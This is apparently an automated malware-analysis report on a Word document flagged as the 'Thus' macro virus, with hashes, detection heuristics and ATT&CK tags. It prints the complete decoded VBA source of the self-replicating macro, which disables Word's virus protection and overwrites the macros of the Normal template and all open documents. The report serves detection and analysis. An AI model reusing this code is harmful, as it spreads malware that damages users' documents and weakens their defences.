Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4d1bcc8e413c3df6…

MALICIOUS

Office (OLE)

48.0 KB Created: 2011-06-13 10:01:00 Authoring application: Microsoft Word 11.6.3 First seen: 2019-06-27
MD5: 10bd3842042fd524b94a748f48921a69 SHA-1: 2aaea22edddb0a4d8547bb0cbc898dc93dd9fd9f SHA-256: 4d1bcc8e413c3df6656582b53da1a5a5ecc8a9f38d9e840b0147e3726989bcc6
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a malicious VBA macro that executes automatically via the Document_Open event. This macro is designed to spread itself to other documents and the Normal template, indicating a self-propagation or persistence mechanism. The embedded URL is likely part of the lure or a secondary payload delivery, though its exact function is not detailed in the provided evidence.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.caspevi.com/la-vie-de-galilee/ In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2294 bytes
SHA-256: 10c1c31db5cded77b7bd41b3c2081f5f005e4c00b10ce83547878c4df8dfeac1
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Virus'
' This virus is an alteration of a virus which was
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Virus'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Virus'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub